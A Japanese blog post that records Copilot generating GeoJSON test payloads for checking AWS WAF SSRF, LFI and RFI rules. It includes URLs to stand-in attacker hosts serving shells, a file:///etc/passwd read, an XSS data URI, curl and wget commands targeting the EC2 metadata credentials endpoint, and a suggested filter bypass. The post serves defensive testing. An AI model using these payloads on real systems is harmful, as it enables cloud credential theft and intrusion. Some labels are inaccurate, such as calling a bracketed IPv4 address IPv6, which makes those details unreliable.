生成AIにテストデータを作成させる

概要
下記3つのaws wafのmanagedルールの挙動を確かめたかったので検証用のデータ(geojson形式[1])をcopilotに作成させてみたた。
- EC2MetaDataSSRF_BODY
- GenericLFI_BODY
- GenericRFI_BODY
具体的に検査したい項目の公式ドキュメント内での名称や説明文を指定すれば今回は意図したものを返してきた。
実際のプロンプト
RFIの検証
質問
urlだけ含んだgeojsonを作ってください。urlにはhttp,https,ftpなど含めてください リモートファイルインクルージョンの悪用を確かめたいです
回答
了解しました。リモートファイルインクルージョン(RFI: Remote File Inclusion)の脆弱性検査に使えるGeoJSONを作成します。RFIは、外部のURLからスクリプトやファイルを読み込ませることで、意図しないコードが実行される可能性がある攻撃手法です。
以下のGeoJSONは、properties.url
にさまざまなスキーム(http
, https
, ftp
, file
, data
)を含めて、RFIの挙動を検査するための構造になっています。
🧨 GeoJSON例:RFI検査用(URLのみ)
{
"type": "FeatureCollection",
"features": [
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7500, 35.6850],
[139.7520, 35.6850],
[139.7520, 35.6865],
[139.7500, 35.6865],
[139.7500, 35.6850]
]
]
},
"properties": {
"name": "HTTP RFI Test",
"url": "http://malicious.example.com/shell.txt"
}
},
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7530, 35.6840],
[139.7550, 35.6840],
[139.7550, 35.6860],
[139.7530, 35.6860],
[139.7530, 35.6840]
]
]
},
"properties": {
"name": "HTTPS RFI Test",
"url": "https://evil.example.org/include.php"
}
},
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7600, 35.6820],
[139.7620, 35.6820],
[139.7620, 35.6840],
[139.7600, 35.6840],
[139.7600, 35.6820]
]
]
},
"properties": {
"name": "FTP RFI Test",
"url": "ftp://attacker.example.net/payload.php"
}
},
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7650, 35.6800],
[139.7670, 35.6800],
[139.7670, 35.6820],
[139.7650, 35.6820],
[139.7650, 35.6800]
]
]
},
"properties": {
"name": "File Protocol Test",
"url": "file:///etc/passwd"
}
},
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7700, 35.6780],
[139.7720, 35.6780],
[139.7720, 35.6800],
[139.7700, 35.6800],
[139.7700, 35.6780]
]
]
},
"properties": {
"name": "Data URI Test",
"url": "data:text/plain;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="
}
}
]
}
🔍 含まれるURLスキームと意図
name | url例 | 意図 |
---|---|---|
HTTP RFI Test | http://malicious.example.com/shell.txt |
外部スクリプト読み込み |
HTTPS RFI Test | https://evil.example.org/include.php |
SSL経由のRFI |
FTP RFI Test | ftp://attacker.example.net/payload.php |
FTP経由のファイル取得 |
File Protocol Test | file:///etc/passwd |
ローカルファイルアクセス |
Data URI Test | data:text/plain;base64,... |
埋め込み型スクリプト |
⚠️ 使用上の注意
- このGeoJSONはセキュリティ検査目的専用です。
- 実際のアプリケーションが
url
を読み込む処理を持っている場合、RFI脆弱性があると外部コードが実行される可能性があります。 - 必ずサンドボックス環境で検証してください。
-
data:
やfile:
スキームは、ブラウザやサーバーの設定によって挙動が異なります。
さらに javascript:
や gopher:
スキームなど、より高度な攻撃ベクトルを含めることも可能です。追加しますか?
-
ジオメトリデータをアップロードするエンドポイントをテストしたかったのでgeojsonを作成させた。 ↩︎

LFIの検証
リクエストボディから Amazon EC2 メタデータを盗み出す試みがないかを検査するのに使えるgeojsonってありますか?
非常に鋭い視点です。Amazon EC2のメタデータサービス(特に旧バージョンの http://169.254.169.254/latest/meta-data/
)は、**サーバーサイドリクエストフォージェリ(SSRF)**の標的になることが多く、GeoJSONのような構造化データに悪意あるURLを埋め込むことで、バックエンドがそれをリクエストしてしまう可能性があります。
以下は、SSRFによるEC2メタデータ窃取の試みを検出するためのGeoJSON例です。これは、GeoJSONの properties.url
や properties.command
に、EC2メタデータサービスへのアクセスを試みるような値を含めることで、アプリケーションがそれを誤ってリクエストしないかを検査する目的で使えます。
🛡️ GeoJSON例:EC2メタデータ窃取試験用(SSRF検出)
{
"type": "FeatureCollection",
"features": [
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7500, 35.6850],
[139.7520, 35.6850],
[139.7520, 35.6865],
[139.7500, 35.6865],
[139.7500, 35.6850]
]
]
},
"properties": {
"name": "Normal Feature",
"url": "https://example.com/info",
"command": "echo 'safe'"
}
},
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7530, 35.6840],
[139.7550, 35.6840],
[139.7550, 35.6860],
[139.7530, 35.6860],
[139.7530, 35.6840]
]
]
},
"properties": {
"name": "SSRF EC2 Metadata Test",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"command": "curl http://169.254.169.254/latest/meta-data/"
}
},
{
"type": "Feature",
"geometry": {
"type": "Polygon",
"coordinates": [
[
[139.7600, 35.6820],
[139.7620, 35.6820],
[139.7620, 35.6840],
[139.7600, 35.6840],
[139.7600, 35.6820]
]
]
},
"properties": {
"name": "Obfuscated SSRF Test",
"url": "http://[169.254.169.254]/latest/meta-data/",
"command": "wget http://169.254.169.254/latest/meta-data/iam/"
}
}
]
}
🔍 検査ポイント
フィールド | 内容 | 意図 |
---|---|---|
url |
EC2メタデータURL | SSRFによる情報窃取の試み |
command |
curl や wget でメタデータ取得 |
サーバー側で実行される可能性のある攻撃 |
url (IPv6形式) |
[169.254.169.254] |
一部のフィルタを回避するための表記 |
✅ テストの目的
このようなGeoJSONを使って、以下のような挙動を検査できます:
- WebアプリやAPIが
url
をサーバー側でリクエストしていないか -
command
フィールドが直接実行されていないか - SSRFフィルタが
169.254.169.254
を検知・遮断できるか - URLのエンコードやIPv6表記によるバイパスが可能か
⚠️ 注意
このGeoJSONはセキュリティ検査目的でのみ使用してください。実運用環境に投入すると、意図せずメタデータにアクセスしてしまう可能性があります。必ず隔離されたテスト環境で使用してください。
他にも、DNS rebinding や AWS IMDSv2 対策の検証など、より高度なテストを行いたい場合は、さらに細かいパターンを追加できます。必要ですか?

雑感
各ルールに関していくつか該当しそうなコマンド・urlなどを書くのは時間がかかるので有効な手段だと思う